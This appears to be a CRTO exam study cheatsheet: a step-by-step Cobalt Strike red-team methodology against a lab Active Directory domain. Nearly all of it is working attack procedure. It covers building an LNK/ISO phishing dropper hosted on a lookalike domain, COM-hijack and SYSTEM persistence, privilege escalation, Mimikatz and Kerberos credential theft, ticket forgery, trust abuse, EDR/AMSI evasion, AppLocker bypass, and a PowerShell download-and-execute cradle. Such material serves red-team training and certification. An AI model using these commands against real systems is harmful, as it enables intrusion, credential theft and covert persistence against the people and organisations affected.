// CRTO — Certified Red Team Operator

Red Team Operations
Methodology & Cheatsheet

Cobalt Strike · Active Directory · Kerberos · Defense Evasion · Post-Exploitation
OVERVIEW
Attack Methodology
⚠ FOR AUTHORIZED PENETRATION TESTING AND EDUCATIONAL PURPOSES ONLY. Always obtain written permission before conducting any security assessments.
🎯
0x0
Initial Access
🔗
0x1–0x2
Establish Foothold
⬆️
0x3
Priv Escalation
🔐
0x5
Cred Access
👤
0x6
Impersonation
🔍
0x7
Discovery
↔️
0x8–0x9
Lateral / Pivot
🎭
0xA–0xC
Kerberos / AD
🌐
0xD–0xF
Trust Attacks
🛡️
0x10–0x11
AV/EDR Evasion
0x0
Initial Access
phishingdropperisolnkcobalt-strike
🏗️ Step 1 — Build the Dropper (C# DLL)
▼
1
Create a new directory for payload dependencies.
CMD
mkdir C:\Payloads\deals
2
Open Visual Studio → New Class Library (.NET Framework) project named MyDropper. Add http_x64.xprocess.bin as an embedded resource.
3
The dropper creates a hidden suspended msedge.exe process, reads PE headers, calculates the entry point, injects shellcode, then resumes the thread. Build in Release mode as a DLL.
This is process hollowing into msedge.exe for AV evasion.
4
Serialize the DLL using GadgetToJScript (G2JS).
CMD
C:\Tools\GadgetToJScript\GadgetToJScript\bin\Release\GadgetToJScript.exe -a .\source\repos\MyDropper\bin\Release\MyDropper.dll -w js -b -o C:\Payloads\deals\deals
📄 Step 2 — Create the Decoy Document
▼
1
Open Excel → create blank workbook with dummy deals data → save as C:\Payloads\deals\deals.xlsx.
🔗 Step 3 — Create the LNK Trigger
▼
POWERSHELL
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("C:\Payloads\deals\deals.xlsx.lnk")
$lnk.TargetPath = "%COMSPEC%"
$lnk.Arguments = "/C start deals.xlsx && wscript deals.js"
$lnk.IconLocation = "%ProgramFiles%\Microsoft Office\root\Office16\EXCEL.EXE,0"
$lnk.Save()
The shortcut disguises as an Excel file but executes the JS dropper first, then opens the decoy.
📦 Step 4 — Package into ISO Container
▼
WSL/UBUNTU
python3 /mnt/c/Tools/PackMyPayload/PackMyPayload.py -H deals.xlsx,deals.js /mnt/c/Payloads/deals/ /mnt/c/Payloads/deals/deals.iso
ISO containers bypass Mark-of-the-Web (MOTW) in older Windows versions.
🌐 Step 5 — Delivery via Cobalt Strike Web Server
▼
1
Host the ISO: Site Management → Host File → File: C:\Payloads\deals\deals.iso · URI: /deals.iso · Host: www.bleepincomputer.com
2
Clone a legit page: Site Management → Clone Site · Clone URL: https://deals.bleepingcomputer.com · URI: /deals · Attack: link to deals.iso
3
Victim visits the page, downloads + mounts the ISO, double-clicks the LNK → Beacon checks in from msedge.exe.
0x1
Persistence (User-Level CLSID Hijack)
clsidcom-hijackregistrydll
🔍 Step 1 — Find a Suitable CLSID via Process Monitor
▼
1
Run Procmon64.exe as local admin → Filter → Filter (Ctrl+L) and add these filters:
PROCMON FILTERS
Process Name is ms-teams.exe → Include
Operation is RegOpenKey → Include
Path ends with InprocServer32 → Include
Result is NAME NOT FOUND → Include
2
Launch Teams. Look for CLSIDs only called a few times. Target: {7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}
3
Test the hijack locally by registering the DLL payload in HKCU:
POWERSHELL
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}" 
New-Item -Path "HKCU:Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll" 
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\InprocServer32" -Name "ThreadingModel" -Value "Both"
🎯 Step 2 — Deploy on Target via Beacon
▼
1
Change working directory and upload DLL.
BEACON
cd C:\Users\pchilds\AppData\Local\Microsoft\TeamsMeetingAdd-in\1.25.14205\x64
upload C:\Payloads\http_x64.dll
2
Rename and timestomp to blend in.
BEACON
mv http_x64.dll Microsoft.Teams.HttpClient.dll
timestomp Microsoft.Teams.HttpClient.dll Microsoft.Teams.Diagnostics.dll
3
Create the registry entries on the target.
BEACON
reg_set HKCU "Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\InprocServer32" "" REG_EXPAND_SZ "%LocalAppData%\Microsoft\TeamsMeetingAdd-in\1.25.14205\x64\Microsoft.Teams.HttpClient.dll" 
reg_set HKCU "Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\InprocServer32" "ThreadingModel" REG_SZ "Both"
Next time the user launches Teams → Beacon fires automatically.
0x2
Post Exploitation
spawnspawnasfile-systemexecution
🔀 Session Passing
▼
BEACON — spawn new DNS beacon
spawn x64 dns
BEACON — spawn as alternate user
spawnas CONTOSO\rsteel Passw0rd! tcp-local
📁 File System Operations
▼
BEACON
cd C:\Users\pchilds\Documents
pwd
ls
download password.txt
# View > Downloads → Sync Files
⚡ Execution Commands
▼
BEACON
shell whoami /user               # via cmd.exe
powershell $env:computername    # via powershell.exe
powerpick $env:computername     # unmanaged powershell (no powershell.exe)
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe AntiVirus
ipconfig                        # BOF execution
0x3
Privilege Escalation
service-abuseunquoted-pathregistrydeserializationuac-bypass
🔍 Enumeration — Find Vulnerable Services
▼
Search for services where low-privilege users have FullControl over the registry key:
BEACON — powerpick
powerpick $lowpriv = @('Everyone', 'BUILTIN\Users', 'NT AUTHORITY\Authenticated Users'); ls 'HKLM:\SYSTEM\CurrentControlSet\Services' | % { $acl = Get-Acl $_.PSPath; foreach ($ace in $acl.Access) { if ($ace.AccessControlType -eq 'Allow' -and $ace.IsInherited -eq $false -and $lowpriv -contains $ace.IdentityReference.Value -and $ace.RegistryRights -eq [System.Security.AccessControl.RegistryRights]::FullControl) { [PSCustomObject] @{ServiceName = $_.PSChildName; Identity = $ace.IdentityReference.Value; Rights = $ace.RegistryRights }}}}
Returns BadWindowsService if vulnerable.
⚙️ Exploitation — Service Binary Replacement
▼
1
Set spawnto for service payload and generate Windows Service EXE:
BEACON
ak-settings spawnto_x64 C:\Windows\System32\svchost.exe
Payloads → Windows Stageless Payload → Output: Windows Service EXE → Save to C:\Payloads\http_x64.svc.exe
2
Stop service, upload payload, reconfigure, restart:
BEACON
sc_stop BadWindowsService
cd C:\Temp
upload C:\Payloads\http_x64.svc.exe
sc_qc BadWindowsService                              # note current path
sc_config BadWindowsService C:\Temp\http_x64.svc.exe 0 2
sc_start BadWindowsService
3
Restore original binary path and cleanup:
BEACON
sc_config BadWindowsService "C:\Program Files\Bad Windows Service\Service Executable\BadWindowsService.exe" 0 2
rm http_x64.svc.exe
sc_start BadWindowsService
📂 Unquoted Service Path Hijack
▼
BEACON
sc_qc BadWindowsService                           # verify binary path
cacls "C:\Program Files\Bad Windows Service"      # check write perms
cd C:\Program Files\Bad Windows Service
upload C:\Payloads\dns_x64.svc.exe
mv dns_x64.svc.exe Service.exe                   # activates hijack
sc_stop BadWindowsService
sc_start BadWindowsService
# Beacon appears. Then cleanup:
rm Service.exe
🔑 UAC Bypass — CMSTPLUA
▼
Requires Beacon process to be in C:\Windows\*
BEACON
spawn x64 http           # spawns in C:\Windows\System32\rundll32.exe
# Right-click new Beacon → Access → One-liner → tcp-local listener
runasadmin uac-cmstplua [ONE-LINER]
connect localhost 1337
💀 Unsafe Deserialization (ysoserial.net)
▼
ATTACKER DESKTOP
# 1. Host PS one-liner: Right-click Beacon → Access → One-liner
# 2. Generate gadget:
C:\Tools\ysoserial.net\ysoserial\bin\Release\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -nop -ep bypass -enc ..." -o raw --outputpath=C:\Payloads\data.bin
# 3. Upload and wait up to 60s:
cd C:\Temp
upload C:\Payloads\data.bin
# Elevated Beacon appears. Cleanup:
rm data.bin
0x4
Elevated Persistence
task-schedulerwindows-servicesystem
📅 Scheduled Task (SYSTEM)
▼
1
Save the XML task template to C:\Payloads\task.xml (BootTrigger, runs as NT AUTHORITY\SYSTEM, Hidden).
2
Upload DNS beacon payload and rename it.
BEACON
cd C:\Program Files\Microsoft Update Health Tools
upload C:\Payloads\dns_x64.exe
mv dns_x64.exe updater.exe
3
Create the scheduled task and verify on next reboot:
BEACON
schtaskscreate \Microsoft\Windows\WindowsUpdate\Updater XML CREATE
# File dialog appears to select task.xml
# Reboot Workstation 1 → SYSTEM Beacon appears
schtasksdelete \Microsoft\Windows\WindowsUpdate\Updater TASK
🛠️ Windows Service (SYSTEM)
▼
BEACON
cd C:\Windows\System32
upload C:\Payloads\dns_x64.svc.exe
mv dns_x64.svc.exe debug_svc.exe
sc_create dbgsvc "Debug Service" C:\Windows\System32\debug_svc.exe "Windows Debug Service" 0 2 3
# Reboot → SYSTEM Beacon appears
sc_delete dbgsvc
0x5
Credential Access
mimikatzlsassdpapikerberoastasrep
🌐 Browser & Credential Manager
▼
BEACON
# Chrome credentials
execute-assembly C:\Tools\SharpDPAPI\SharpChrome\bin\Release\SharpChrome.exe logins

# Windows Vault
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

# Decrypt DPAPI credentials via RPC
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /rpc
🧠 LSASS & Memory Dumps
▼
BEACON — mimikatz
mimikatz sekurlsa::logonpasswords   # plaintext + hashes from LSASS
mimikatz sekurlsa::ekeys            # Kerberos AES keys
mimikatz lsadump::sam               # local SAM hashes
mimikatz lsadump::cache             # cached domain credentials (MSCACHE)
🎟️ Kerberos Ticket Attacks
▼
BEACON — AS-REP Roasting
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /format:hashcat /nowrap
BEACON — Kerberoasting
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /format:hashcat /simple
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /format:hashcat /user:mssql_svc /nowrap
BEACON — Dump TGTs
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:[LUID] /service:krbtgt /nowrap
0x6
User Impersonation
make-tokensteal-tokenpthpass-the-ticketprocess-injection
🪙 Make Token (Plaintext Credentials)
▼
BEACON
make_token CONTOSO\rsteel Passw0rd!
# Drop impersonation:
rev2self
🪝 Steal Token (Process)
▼
BEACON
process_browser
# Select process owned by target → Steal Token → TOKEN_ALL_ACCESS → Store: True
token-store use 0
# Drop:
rev2self
token-store remove 0
🔑 Pass the Hash (PTH)
▼
BEACON
pth CONTOSO\rsteel fc525c9683e8fe067095ba2ddc971889
rev2self
🎫 Pass the Ticket (PTT)
▼
BEACON — medium integrity
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:rsteel /domain:CONTOSO.COM /aes256:[AES256_HASH] /nowrap
BEACON — high integrity (inject into sacrificial session)
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\notepad.exe /username:rsteel /domain:CONTOSO.COM /password:FakePass /ticket:[TGT]
💉 Process Injection
▼
BEACON — high integrity
process_browser
# Select process owned by rsteel → Inject → tcp-local listener
0x7
Discovery & Enumeration
ldapbofhoundbloodhoundgpo
📡 LDAP Enumeration + BOFHound
▼
BEACON — LDAP queries
ldapsearch (|(objectClass=domain)(objectClass=organizationalUnit)(objectClass=groupPolicyContainer)) --attributes *,ntsecuritydescriptor
ldapsearch (|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)) --attributes *,ntsecuritydescriptor
WSL — copy logs and parse with BOFHound
cd /mnt/c/Users/Attacker/Desktop
scp -r attacker@10.0.0.5:/opt/cobaltstrike/logs .
bofhound -i logs
🩸 BloodHound Analysis
▼
1
Start BloodHound via Docker Desktop → browse to http://localhost:8080/ui/login → credentials: admin : eA%N4frBrnn22
2
Upload BOFHound JSON files. Then use Cypher queries:
BLOODHOUND — CYPHER
Match (n:GPO) return n
📋 Restricted Groups — GPO Enumeration
▼
BEACON — download GptTmpl.inf
ls \\contoso.com\SysVol\contoso.com\Policies\{2583E34A-BBCE-4061-9972-E2ADAB399BB4}\Machine\Microsoft\Windows NT\SecEdit\ 
download \\contoso.com\SysVol\contoso.com\Policies\{2583E34A-BBCE-4061-9972-E2ADAB399BB4}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
BLOODHOUND — add custom AdminTo edges
MATCH (x:Computer{objectid:'S-1-5-21-3926355307-1661546229-813047887-2101'}) MATCH (y:Group{objectid:'S-1-5-21-3926355307-1661546229-813047887-1106'}) MERGE (y)-[:AdminTo]->(x)
MATCH (x:Computer{objectid:'S-1-5-21-3926355307-1661546229-813047887-2102'}) MATCH (y:Group{objectid:'S-1-5-21-3926355307-1661546229-813047887-1106'}) MERGE (y)-[:AdminTo]->(x)
0x8
Lateral Movement
winrmpsexecscshellwmi
🔐 Prerequisite — Impersonate a User
▼
BEACON
make_token CONTOSO\rsteel Passw0rd!
ls \\lon-ws-1\c$          # verify access
↔️ Lateral Movement Methods
▼
BEACON — WinRM
jump winrm64 lon-ws-1 smb
BEACON — PsExec
jump psexec64 lon-ws-1 smb
BEACON — SCShell (load CNA first)
# Cobalt Strike → Script Manager → load C:\Tools\SCShell\CS-BOF\scshell.cna
jump scshell64 lon-ws-1 smb
jump scshell64 dub-wkstn-2 http
BEACON — WMI
cd \\lon-ws-1\ADMIN$
upload C:\Payloads\smb_x64.exe
remote-exec wmi lon-ws-1 C:\Windows\smb_x64.exe
link lon-ws-1 TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337
0x9
Pivoting
socks5proxychainskerberos
🔁 SOCKS5 Proxy Setup
▼
1
Add static DNS entry (run Terminal as local admin):
POWERSHELL
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value '10.10.120.20 lon-db-1'
2
Start SOCKS5 proxy on Beacon:
BEACON
socks 1080 socks5
3
Configure proxychains in WSL: sudo nano /etc/proxychains.conf → comment out proxy_dns (line 38) → replace proxy entry (line 64) with socks5 10.0.0.5 1080
4
Use proxychains to authenticate via Kerberos and connect to MSSQL:
WSL
proxychains getTGT.py 'CONTOSO.COM/rsteel:Passw0rd!' -dc-ip 10.10.120.1
export KRB5CCNAME=rsteel.ccache
proxychains mssqlclient.py contoso.com/rsteel@lon-db-1 -windows-auth -no-pass -k -dc-ip 10.10.120.1
select @@servername;
0xA
Kerberos Attacks
unconstrained-delegationconstrained-delegations4uservice-name-sub
🔓 Unconstrained Delegation
▼
BEACON — enumerate
ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samAccountName
BEACON — move to target, triage, dump TGT
ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
jump scshell64 lon-ws-1 smb
krb_triage                                      # find dyork@CONTOSO.COM
ldapsearch samAccountName=dyork --attributes memberOf
krb_dump /luid:[LUID] /service:krbtgt
ATTACKER DESKTOP — inject TGT
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\dyork_tgt.kirbi", [Convert]::FromBase64String("[TICKET_B64]"))
make_token CONTOSO\dyork Fakepass
kerberos_ticket_use C:\Users\Attacker\Desktop\dyork_tgt.kirbi
ls \\lon-dc-1\c$
🎯 Constrained Delegation (S4U2Proxy)
▼
BEACON — enumerate
ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo,userAccountControl
[Convert]::ToBoolean(16781312 -band 16777216)    # check TRUSTED_TO_AUTH_FOR_DELEGATION
BEACON — dump TGT for machine account, S4U abuse
krb_dump /luid:3e7 /service:krbtgt
krb_s4u /ticket:[TGT] /service:cifs/lon-fs-1 /impersonateuser:Administrator
ATTACKER — use ticket
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("[TICKET_B64]"))
make_token DUBLIN\Administrator Fakepass
kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
ls \\lon-fs-1\c$
✂️ Service Name Substitution
▼
BEACON
krb_s4u /ticket:[TGT] /service:time/lon-fs-1 /altservice:cifs /impersonateuser:Administrator
# Substitutes time/ service → cifs/ for access
🖥️ S4USelf — Computer Takeover (Printer Bug)
▼
BEACON
make_token CONTOSO\rsteel Passw0rd!
jump psexec64 lon-ws-1 smb
# From lon-ws-1 Beacon:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /nowrap
# From medium-integrity Beacon, trigger DC to authenticate to lon-ws-1:
execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe lon-dc-1 lon-ws-1
# S4U self to get cifs/lon-dc-1 as Administrator:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/lon-dc-1 /ticket:[TGT] /nowrap
# Create logon session with ticket:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:[CIFS_TICKET]
steal_token [PID]
run klist
ls \\lon-dc-1\c$
0xB
MSSQL Server Attacks
sql-clrsql-linkssweet-potatokerberos
🗃️ Enumeration & Access
▼
BEACON — load SQL-BOF CNA first
# Cobalt Strike → Script Manager → C:\Tools\SQL-BOF\SQL\SQL.cna
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=MSSQLSvc*)) --attributes name,samAccountName,servicePrincipalName
sql-info lon-db-1
sql-whoami lon-db-1
# Impersonate sysadmin and re-check:
make_token DUBLIN\consultant Passw0rd!
sql-whoami lon-db-1
Steal a ticket if Kerberos auth required:
BEACON
krb_dump /user:rsteel /service:krbtgt
krb_asktgs /service:[SPN] /ticket:[TGT]
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\tgt.kirbi", [Convert]::FromBase64String("[TICKET_B64]"))
make_token CONTOSO\rsteel Fakepass
kerberos_ticket_use C:\Users\Attacker\Desktop\tgt.kirbi
run klist
ls \\lon-dc-1\c$
⚡ Code Execution via SQL CLR
▼
1
Check and enable SQL CLR:
BEACON
sql-query lon-db-1 "SELECT value FROM sys.configurations WHERE name = 'clr enabled'"
sql-enableclr lon-db-1
2
Build C# Class Library (MyProcedure) with embedded smb_x64.xthread.bin. The stored procedure uses VirtualAlloc → WriteProcessMemory → CreateThread injection.
3
Load CLR, link Beacon, then disable CLR:
BEACON
sql-clr lon-db-1 C:\Users\Attacker\source\repos\MyProcedure\bin\Release\MyProcedure.dll MyProcedure
link lon-db-1 TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337
sql-disableclr lon-db-1
🔗 SQL Linked Server Lateral Movement
▼
BEACON
sql-links lon-db-1                              # enumerate links
sql-whoami lon-db-1 "" lon-db-2               # check privs on lon-db-2 via link
sql-checkrpc lon-db-1                          # check RPC Out status
sql-enablerpc lon-db-1 lon-db-2               # enable RPC Out
sql-clr lon-db-1 C:\Users\Attacker\source\repos\MyProcedure\bin\Release\MyProcedure.dll MyProcedure "" lon-db-2
link lon-db-2 TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337
⬆️ MSSQL Privilege Escalation (SweetPotato)
▼
BEACON
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
cd C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Microsoft\WindowsApps
upload C:\Payloads\tcp-local_x64.exe
execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p "C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Microsoft\WindowsApps\tcp-local_x64.exe"
connect localhost 1337
0xC
Domain Dominance
dcsyncgolden-ticketsilver-ticketdiamond-ticketdpapi
🔄 DCSync
▼
BEACON — medium integrity
make_token CONTOSO\dyork Passw0rd!
dcsync contoso.com CONTOSO\krbtgt          # grab krbtgt hash
dcsync contoso.com CONTOSO\lon-db-1$      # computer account (include $)
rev2self
🥈 Silver Ticket (Service Ticket Forgery)
▼
ATTACKER DESKTOP
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/lon-db-1 /aes256:[HASH] /user:Administrator /domain:CONTOSO.COM /sid:S-1-5-21-3926355307-1661546229-813047887 /nowrap
BEACON — high integrity
make_token CONTOSO\Administrator FakePass
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:[TICKET]
run klist
ls \\lon-db-1\c$
run klist purge
🥇 Golden Ticket (krbtgt Forgery)
▼
ATTACKER DESKTOP
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:[HASH] /user:Administrator /domain:CONTOSO.COM /sid:S-1-5-21-3926355307-1661546229-813047887 /nowrap
BEACON — high integrity
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:[TICKET]
run klist
ls \\lon-dc-1\c$
run klist purge
💎 Diamond Ticket (Safer Alternative)
▼
Diamond tickets are modified real TGTs — harder to detect than Golden tickets.
BEACON — medium integrity
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /krbkey:[HASH] /ticketuser:Administrator /ticketuserid:500 /domain:CONTOSO.COM /nowrap
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:[TICKET]
run klist
ls \\lon-dc-1\c$
🗝️ DPAPI Backup Key Extraction
▼
BEACON
make_token CONTOSO\dyork Passw0rd!
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe backupkey
rev2self
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /pvk:[KEY]
0xD
Parent-Child Trust Attack
trustgolden-ticketsid-historyenterprise-admins
🌳 Enumerate → Forge → Access Parent Domain
▼
BEACON
# 1. Enumerate trust type
ldapsearch (objectClass=trustedDomain) --attributes trustPartner,trustDirection,trustAttributes,flatName

# 2. DCSync child krbtgt
dcsync dublin.contoso.com DUBLIN\krbtgt

# 3. Get child domain SID
ldapsearch (objectClass=domain) --attributes objectSid

# 4. Get parent domain SID
ldapsearch (objectClass=domain) --attributes objectSid --hostname lon-dc-1.contoso.com --dn DC=contoso,DC=com

# 5. Forge golden ticket with parent's Enterprise Admins SID in /sids
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /user:Administrator /domain:dublin.contoso.com /sid:[DUBLIN_SID] /sids:[CONTOSO_EA_GROUP_SID] /aes256:[DUBLIN_KRBTGT_HASH] /outfile:C:\Users\Attacker\Desktop\golden

# 6. Inject ticket
kerberos_ticket_use C:\Users\Attacker\Desktop\[TICKET]
run klist
ls \\lon-dc-1\c$
0xE
Inbound Trust Attack
inboundforeign-security-principalsilver-ticketreferral-ticket
⬅️ Forge Referral Ticket → Access Trusting Domain
▼
BEACON
# 1. Enumerate trust direction
ldapsearch (objectClass=trustedDomain) --attributes trustDirection,trustPartner,trustAttributes,flatname

# 2. Enumerate Foreign Security Principals
ldapsearch (objectClass=foreignSecurityPrincipal) --attributes cn,memberOf --hostname contoso.com --dn DC=contoso,DC=com

# 3. Identify interesting SID
ldapsearch (objectSid=[SID])

# 4. DCSync inter-realm key
make_token CONTOSO\dyork Passw0rd!
dcsync contoso.com CONTOSO\PARTNER$
rev2self

# 5. Forge referral ticket
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /user:pchilds /domain:CONTOSO.COM /sid:S-1-5-21-3926355307-1661546229-813047887 /id:1105 /groups:513,1106,6102 /service:krbtgt/partner.com /rc4:[NTLM_HASH] /nowrap

# 6. Request service tickets for trusting domain
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/par-jmp-1.partner.com /dc:par-dc-1.partner.com /ticket:[TICKET] /nowrap

# 7. Inject + verify + access
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:[TICKET]
run klist
ls \\par-jmp-1.partner.com\c$
0xF
Outbound Trust Attack
outboundtdointer-realm-keytrust-account
➡️ Enumerate TDO → Request TGT as Trust Account
▼
BEACON
# 1. Enumerate trust
ldapsearch (objectClass=trustedDomain) --attributes trustDirection,trustPartner,trustAttributes,flatName

# 2. Get TDO GUID (medium integrity beacon)
ldapsearch (objectClass=trustedDomain) --attributes name,objectGUID

# 3. Get shared inter-realm key from TDO
mimikatz lsadump::dcsync /domain:partner.com /guid:{[GUID]}

# 4. Request TGT for the trust account
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:PARTNER$ /domain:CONTOSO.COM /dc:lon-dc-1.contoso.com /rc4:[RC4_HASH] /nowrap

# 5. Inject into sacrificial session (high integrity beacon)
make_token CONTOSO\PARTNER$ FakePass
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:[TICKET]
run klist

# 6. Enumerate trusted domain
ldapsearch (objectClass=domain) --dn DC=contoso,DC=com --attributes name,objectSid --hostname contoso.com
0x10
Defense Evasion
artifactsmalleable-c2obfuscationamsi
🎨 Custom Artifact Kit
▼
1
Open C:\Tools\cobaltstrike\arsenal-kit\kits\artifact\src-common\patch.c in VSCode.
2
Modify the XOR loop at ~line 45 (svc exe payloads) and ~line 116 (normal exe payloads) to reverse-order XOR:
C — modified loop
x = length; 
while(x--) {  
  *((char *)buffer + x) = *((char *)buffer + x) ^ key[x % 8]; 
}
3
Build from WSL:
WSL
cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact
./build.sh mailslot VirtualAlloc 351363 0 false false none /mnt/c/Tools/cobaltstrike/custom-artifacts
4
Load artifact.cna from C:\Tools\cobaltstrike\custom-artifacts\mailslot in Cobalt Strike Script Manager.
🔧 Malleable C2 Profile — Key Blocks
▼
PROFILE — stage block
stage {
    set userwx "false";
    set cleanup "true";
    set copy_pe_header "false";
    set module_x64 "Hydrogen.dll";
    transform-x64 {
        strrep "beacon.x64.dll" "bacon.x64.dll";
        strrep "%02d/%02d/%02d" "%02d/%02d/%04d";
    }
}
PROFILE — post-ex block
post-ex {
    set spawnto_x64 "%windir%\\sysnative\\werfault.exe";
    set cleanup "true";
    set pipename "dotnet-diagnostic-#####";
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";
    set amsi_disable "true";
    transform-x64 {
        strrepex "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";
        strrepex "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";
    }
}
PROFILE — process-inject block
process-inject {
    set allocator "VirtualAllocEx";
    set startrwx "false";
    set userwx "false";
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2c";
        ObfSetThreadContext "ntdll.dll!RtlUserThreadStart+0x2c";
        NtQueueApcThread-s;
        SetThreadContext;
    }
}
SSH — restart team server
ssh attacker@10.0.0.5
sudo /usr/bin/docker restart cobaltstrike-cs-1
# If error: sudo /usr/bin/docker logs cobaltstrike-cs-1
🧪 Testing Evasion
▼
BEACON
# Attacks → Scripted Web Delivery → http listener → Launch
# Victim runs:
iex (new-object net.webclient).downloadstring("http://www.bleepincomputer.com/a")
# After Beacon checks in:
make_token CONTOSO\rsteel Passw0rd!
remote-exec winrm lon-ws-1 (Get-MpPreference).DisableRealtimeMonitoring
ak-settings spawnto_x64 C:\Windows\System32\svchost.exe
jump psexec64 lon-ws-1 smb
0x11
AppLocker Bypass
applockerlolbasmsbuildclm-bypassrundll32
📋 Enumerate AppLocker Policy
▼
POWERSHELL
$policy = Get-AppLockerPolicy -Effective
$policy.RuleCollections
🔨 MSBuild LOLBAS Bypass
▼
Create test.csproj with embedded C# code in a CodeTaskFactory. MSBuild executes it inline without touching AppLocker-controlled paths.
CMD — execute via MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe test.csproj
🌐 PowerShell CLM Bypass (COM Hijack)
▼
Check current language mode, then bypass Constrained Language Mode by registering a COM object.
POWERSHELL — check mode
$ExecutionContext.SessionState.LanguageMode
[System.Guid]::NewGuid()    # generate GUID for the COM registration
POWERSHELL — register COM object pointing to bypass.dll
New-Item -Path 'HKCU:Software\Classes\CLSID' -Name '{6136e053-47cb-4fdd-84b1-381bc5f3edb3}'
New-Item -Path 'HKCU:Software\Classes\CLSID\{6136e053-47cb-4fdd-84b1-381bc5f3edb3}' -Name 'InprocServer32' -Value 'C:\Users\pchilds\Desktop\bypass.dll'
New-ItemProperty -Path 'HKCU:Software\Classes\CLSID\{6136e053-47cb-4fdd-84b1-381bc5f3edb3}\InprocServer32' -Name 'ThreadingModel' -Value 'Both'
New-Item -Path 'HKCU:Software\Classes' -Name 'AppLocker.Bypass' -Value 'AppLocker Bypass'
New-Item -Path 'HKCU:Software\Classes\AppLocker.Bypass' -Name 'CLSID' -Value '{6136e053-47cb-4fdd-84b1-381bc5f3edb3}'
🔁 Rundll32 DLL Execution
▼
CMD
rundll32 bypass.dll,execute